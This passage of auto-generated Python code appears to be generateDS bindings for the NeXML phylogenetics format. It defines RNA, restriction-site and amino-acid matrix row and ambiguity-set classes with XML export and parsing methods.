name_='RNAMatrixObsRow') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RNAMatrixObsRow'): super(RNAMatrixObsRow, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RNAMatrixObsRow') def exportChildren(self, outfile, level, namespace_='', name_='RNAMatrixObsRow', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') for cell_ in self.cell: cell_.export(outfile, level, namespace_, name_='cell') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.meta or self.cell or self.set or super(RNAMatrixObsRow, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RNAMatrixObsRow'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(RNAMatrixObsRow, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RNAMatrixObsRow, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('cell=[\n') level += 1 for cell_ in self.cell: showIndent(outfile, level) outfile.write('model_.RNAObs(\n') cell_.exportLiteral(outfile, level, name_='RNAObs') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.CellSet(\n') set_.exportLiteral(outfile, level, name_='CellSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(RNAMatrixObsRow, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'cell': obj_ = RNAObs.factory() obj_.build(child_) self.cell.append(obj_) elif nodeName_ == 'set': obj_ = CellSet.factory() obj_.build(child_) self.set.append(obj_) # end class RNAMatrixObsRow class RNAMatrixSeqRow(AbstractSeqRow): """This is a row in a matrix of RNA data containing raw sequence data.""" subclass = None superclass = AbstractSeqRow def __init__(self, about=None, meta=None, label=None, id=None, otu=None, seq=None, valueOf_=None): super(RNAMatrixSeqRow, self).__init__(about, meta, label, id, otu, seq, ) if meta is None: self.meta = [] else: self.meta = meta self.seq = seq def factory(*args_, **kwargs_): if RNAMatrixSeqRow.subclass: return RNAMatrixSeqRow.subclass(*args_, **kwargs_) else: return RNAMatrixSeqRow(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_seq(self): return self.seq def set_seq(self, seq): self.seq = seq def validate_RNASeq(self, value): # Validate type RNASeq, a restriction on AbstractSeq. pass def export(self, outfile, level, namespace_='', name_='RNAMatrixSeqRow', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RNAMatrixSeqRow') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RNAMatrixSeqRow'): super(RNAMatrixSeqRow, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RNAMatrixSeqRow') def exportChildren(self, outfile, level, namespace_='', name_='RNAMatrixSeqRow', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') if self.seq is not None: showIndent(outfile, level) outfile.write('<%sseq>%s</%sseq>\n' % (namespace_, self.gds_format_string(quote_xml(self.seq).encode(ExternalEncoding), input_name='seq'), namespace_)) def hasContent_(self): if ( self.meta or self.seq is not None or super(RNAMatrixSeqRow, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RNAMatrixSeqRow'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(RNAMatrixSeqRow, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RNAMatrixSeqRow, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.seq is not None: showIndent(outfile, level) outfile.write('seq=%s,\n' % quote_python(self.seq).encode(ExternalEncoding)) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(RNAMatrixSeqRow, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'seq': seq_ = child_.text seq_ = self.gds_validate_string(seq_, node, 'seq') self.seq = seq_ self.validate_RNASeq(self.seq) # validate type RNASeq # end class RNAMatrixSeqRow class RNAUncertainStateSet(AbstractUncertainStateSet): """The RNAUncertainStateSet describes a single uncertain IUPAC ambiguity mapping.""" subclass = None superclass = AbstractUncertainStateSet def __init__(self, about=None, meta=None, label=None, id=None, symbol=None, member=None, valueOf_=None): super(RNAUncertainStateSet, self).__init__(about, meta, label, id, symbol, member, ) self.symbol = _cast(None, symbol) if member is None: self.member = [] else: self.member = member def factory(*args_, **kwargs_): if RNAUncertainStateSet.subclass: return RNAUncertainStateSet.subclass(*args_, **kwargs_) else: return RNAUncertainStateSet(*args_, **kwargs_) factory = staticmethod(factory) def get_member(self): return self.member def set_member(self, member): self.member = member def add_member(self, value): self.member.append(value) def insert_member(self, index, value): self.member[index] = value def get_symbol(self): return self.symbol def set_symbol(self, symbol): self.symbol = symbol def validate_RNAToken(self, value): # Validate type RNAToken, a restriction on AbstractSymbol. pass def export(self, outfile, level, namespace_='', name_='RNAUncertainStateSet', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RNAUncertainStateSet') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RNAUncertainStateSet'): super(RNAUncertainStateSet, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RNAUncertainStateSet') if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') outfile.write(' symbol=%s' % (quote_attrib(self.symbol), )) def exportChildren(self, outfile, level, namespace_='', name_='RNAUncertainStateSet', fromsubclass_=False): for member_ in self.member: member_.export(outfile, level, namespace_, name_='member') def hasContent_(self): if ( self.member or super(RNAUncertainStateSet, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RNAUncertainStateSet'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') showIndent(outfile, level) outfile.write('symbol = "%s",\n' % (self.symbol,)) super(RNAUncertainStateSet, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RNAUncertainStateSet, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('member=[\n') level += 1 for member_ in self.member: showIndent(outfile, level) outfile.write('model_.RNAMapping(\n') member_.exportLiteral(outfile, level, name_='RNAMapping') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('symbol', node) if value is not None and 'symbol' not in already_processed: already_processed.append('symbol') self.symbol = value self.validate_RNAToken(self.symbol) # validate type RNAToken super(RNAUncertainStateSet, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'member': obj_ = RNAMapping.factory() obj_.build(child_) self.member.append(obj_) # end class RNAUncertainStateSet class RestrictionMatrixObsRow(AbstractObsRow): """This is a row in a matrix of restriction site data as granular obervations.""" subclass = None superclass = AbstractObsRow def __init__(self, about=None, meta=None, label=None, id=None, otu=None, cell=None, set=None, valueOf_=None): super(RestrictionMatrixObsRow, self).__init__(about, meta, label, id, otu, cell, set, ) if meta is None: self.meta = [] else: self.meta = meta if cell is None: self.cell = [] else: self.cell = cell if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if RestrictionMatrixObsRow.subclass: return RestrictionMatrixObsRow.subclass(*args_, **kwargs_) else: return RestrictionMatrixObsRow(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_cell(self): return self.cell def set_cell(self, cell): self.cell = cell def add_cell(self, value): self.cell.append(value) def insert_cell(self, index, value): self.cell[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='RestrictionMatrixObsRow', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionMatrixObsRow') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RestrictionMatrixObsRow'): super(RestrictionMatrixObsRow, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionMatrixObsRow') def exportChildren(self, outfile, level, namespace_='', name_='RestrictionMatrixObsRow', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') for cell_ in self.cell: cell_.export(outfile, level, namespace_, name_='cell') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.meta or self.cell or self.set or super(RestrictionMatrixObsRow, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RestrictionMatrixObsRow'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(RestrictionMatrixObsRow, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RestrictionMatrixObsRow, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('cell=[\n') level += 1 for cell_ in self.cell: showIndent(outfile, level) outfile.write('model_.RestrictionObs(\n') cell_.exportLiteral(outfile, level, name_='RestrictionObs') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.CellSet(\n') set_.exportLiteral(outfile, level, name_='CellSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(RestrictionMatrixObsRow, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'cell': obj_ = RestrictionObs.factory() obj_.build(child_) self.cell.append(obj_) elif nodeName_ == 'set': obj_ = CellSet.factory() obj_.build(child_) self.set.append(obj_) # end class RestrictionMatrixObsRow class RestrictionMatrixSeqRow(AbstractSeqRow): """This is a row in a matrix of restriction site data as character sequences.""" subclass = None superclass = AbstractSeqRow def __init__(self, about=None, meta=None, label=None, id=None, otu=None, seq=None, valueOf_=None): super(RestrictionMatrixSeqRow, self).__init__(about, meta, label, id, otu, seq, ) if meta is None: self.meta = [] else: self.meta = meta self.seq = seq def factory(*args_, **kwargs_): if RestrictionMatrixSeqRow.subclass: return RestrictionMatrixSeqRow.subclass(*args_, **kwargs_) else: return RestrictionMatrixSeqRow(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_seq(self): return self.seq def set_seq(self, seq): self.seq = seq def validate_RestrictionSeq(self, value): # Validate type RestrictionSeq, a restriction on xs:string. pass def export(self, outfile, level, namespace_='', name_='RestrictionMatrixSeqRow', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionMatrixSeqRow') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RestrictionMatrixSeqRow'): super(RestrictionMatrixSeqRow, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionMatrixSeqRow') def exportChildren(self, outfile, level, namespace_='', name_='RestrictionMatrixSeqRow', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') if self.seq is not None: showIndent(outfile, level) outfile.write('<%sseq>%s</%sseq>\n' % (namespace_, self.gds_format_string(quote_xml(self.seq).encode(ExternalEncoding), input_name='seq'), namespace_)) def hasContent_(self): if ( self.meta or self.seq is not None or super(RestrictionMatrixSeqRow, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RestrictionMatrixSeqRow'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(RestrictionMatrixSeqRow, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RestrictionMatrixSeqRow, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.seq is not None: showIndent(outfile, level) outfile.write('seq=%s,\n' % quote_python(self.seq).encode(ExternalEncoding)) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(RestrictionMatrixSeqRow, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'seq': seq_ = child_.text seq_ = self.gds_validate_string(seq_, node, 'seq') self.seq = seq_ self.validate_RestrictionSeq(self.seq) # validate type RestrictionSeq # end class RestrictionMatrixSeqRow class AAMatrixObsRow(AbstractObsRow): """This is a row in a matrix of amino acid data containing granular observations.""" subclass = None superclass = AbstractObsRow def __init__(self, about=None, meta=None, label=None, id=None, otu=None, cell=None, set=None, valueOf_=None): super(AAMatrixObsRow, self).__init__(about, meta, label, id, otu, cell, set, ) if meta is None: self.meta = [] else: self.meta = meta if cell is None: self.cell = [] else: self.cell = cell if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if AAMatrixObsRow.subclass: return AAMatrixObsRow.subclass(*args_, **kwargs_) else: return AAMatrixObsRow(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_cell(self): return self.cell def set_cell(self, cell): self.cell = cell def add_cell(self, value): self.cell.append(value) def insert_cell(self, index, value): self.cell[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='AAMatrixObsRow', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AAMatrixObsRow') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AAMatrixObsRow'): super(AAMatrixObsRow, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AAMatrixObsRow') def exportChildren(self, outfile, level, namespace_='', name_='AAMatrixObsRow', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') for cell_ in self.cell: cell_.export(outfile, level, namespace_, name_='cell') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.meta or self.cell or self.set or super(AAMatrixObsRow, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AAMatrixObsRow'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AAMatrixObsRow, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AAMatrixObsRow, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('cell=[\n') level += 1 for cell_ in self.cell: showIndent(outfile, level) outfile.write('model_.AAObs(\n') cell_.exportLiteral(outfile, level, name_='AAObs') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.CellSet(\n') set_.exportLiteral(outfile, level, name_='CellSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AAMatrixObsRow, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'cell': obj_ = AAObs.factory() obj_.build(child_) self.cell.append(obj_) elif nodeName_ == 'set': obj_ = CellSet.factory() obj_.build(child_) self.set.append(obj_) # end class AAMatrixObsRow class AAMatrixSeqRow(AbstractSeqRow): """This is a row in a matrix of amino acid data containing raw sequence data.""" subclass = None superclass = AbstractSeqRow def __init__(self, about=None, meta=None, label=None, id=None, otu=None, seq=None, valueOf_=None): super(AAMatrixSeqRow, self).__init__(about, meta, label, id, otu, seq, ) if meta is None: self.meta = [] else: self.meta = meta self.seq = seq def factory(*args_, **kwargs_): if AAMatrixSeqRow.subclass: return AAMatrixSeqRow.subclass(*args_, **kwargs_) else: return AAMatrixSeqRow(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_seq(self): return self.seq def set_seq(self, seq): self.seq = seq def validate_AASeq(self, value): # Validate type AASeq, a restriction on AbstractSeq. pass def export(self, outfile, level, namespace_='', name_='AAMatrixSeqRow', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AAMatrixSeqRow') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AAMatrixSeqRow'): super(AAMatrixSeqRow, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AAMatrixSeqRow') def exportChildren(self, outfile, level, namespace_='', name_='AAMatrixSeqRow', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') if self.seq is not None: showIndent(outfile, level) outfile.write('<%sseq>%s</%sseq>\n' % (namespace_, self.gds_format_string(quote_xml(self.seq).encode(ExternalEncoding), input_name='seq'), namespace_)) def hasContent_(self): if ( self.meta or self.seq is not None or super(AAMatrixSeqRow, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AAMatrixSeqRow'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AAMatrixSeqRow, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AAMatrixSeqRow, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.seq is not None: showIndent(outfile, level) outfile.write('seq=%s,\n' % quote_python(self.seq).encode(ExternalEncoding)) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AAMatrixSeqRow, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'seq': seq_ = child_.text seq_ = self.gds_validate_string(seq_, node, 'seq') self.seq = seq_ self.validate_AASeq(self.seq) # validate type AASeq # end class AAMatrixSeqRow class AAUncertainStateSet(AbstractUncertainStateSet): """The AAUncertainStateSet defines an uncertain ambiguity mapping.""" subclass = None superclass = AbstractUncertainStateSet def __init__(self, about=None, meta=None, label=None, id=None, symbol=None, member=None, valueOf_=None): super(AAUncertainStateSet, self).__init__(about, meta, label, id, symbol, member, ) self.symbol = _cast(None, symbol) if member is None: self.member = [] else: self.member = member def factory(*args_, **kwargs_): if AAUncertainStateSet.subclass: return AAUncertainStateSet.subclass(*args_, **kwargs_) else: return AAUncertainStateSet(*args_, **kwargs_) factory = staticmethod(factory) def get_member(self): return self.member def set_member(self, member): self.member = member def add_member(self, value): self.member.append(value) def insert_member(self, index, value): self.member[index] = value def get_symbol(self): return self.symbol def set_symbol(self, symbol): self.symbol = symbol def validate_AAToken(self, value): # Validate type AAToken, a restriction on AbstractSymbol. pass def export(self, outfile, level, namespace_='', name_='AAUncertainStateSet', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AAUncertainStateSet') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AAUncertainStateSet'): super(AAUncertainStateSet, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AAUncertainStateSet') if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') outfile.write(' symbol=%s' % (quote_attrib(self.symbol), )) def exportChildren(self, outfile, level, namespace_='', name_='AAUncertainStateSet', fromsubclass_=False): for member_ in self.member: member_.export(outfile, level, namespace_, name_='member') def hasContent_(self): if ( self.member or super(AAUncertainStateSet, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AAUncertainStateSet'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') showIndent(outfile, level) outfile.write('symbol = "%s",\n' % (self.symbol,)) super(AAUncertainStateSet, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AAUncertainStateSet, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('member=[\n') level += 1 for member_ in self.member: showIndent(outfile, level) outfile.write('model_.AAMapping(\n') member_.exportLiteral(outfile, level, name_='AAMapping') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('symbol', node) if value is not None and 'symbol' not in already_processed: already_processed.append('symbol') self.symbol = value self.validate_AAToken(self.symbol) # validate type AAToken super(AAUncertainStateSet, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'member': obj_ = AAMapping.factory() obj_.build(child_) self.member.append(obj_) # end class AAUncertainStateSet class 